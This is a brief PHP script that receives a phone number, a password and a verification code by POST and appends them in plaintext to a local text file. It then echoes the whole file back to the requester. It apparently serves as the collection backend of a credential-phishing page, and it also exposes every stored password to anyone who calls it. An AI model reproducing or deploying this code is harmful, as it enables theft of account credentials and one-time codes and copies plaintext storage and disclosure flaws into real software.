<?php 
header("Content-Type:text/html;charset=gb2312"); 
//接收ajax.js传递过来的信息
// $data = $_POST;
$username = isset($_POST['username'])?$_POST['username']:'';
$password = isset($_POST['password'])?$_POST['password']:'';
$code = isset($_POST['code'])?$_POST['code']:'';
// print_r($data);
// // json_encode的数据类型返回
// echo json_encode($data);

// $mesage = file_get_contents('./message.txt');
// echo $message;
$filename=dirname(__FILE__)."\message.txt";

if(!file_exists($filename)){
	echo $filename." not found!";
	exit;
}
$fo = fopen($filename,"r");
$message = file_get_contents($filename);
$str = '用户信息，电话：'.$username.' | 密码：'.$password.' | 验证码：'.$code;
// $str = '用户信息，电话： | 密码： | 验证码：\n';
$new = $message . $str;
file_put_contents($filename,$new."\r\n");
echo $message;
fclose($fo); 
?>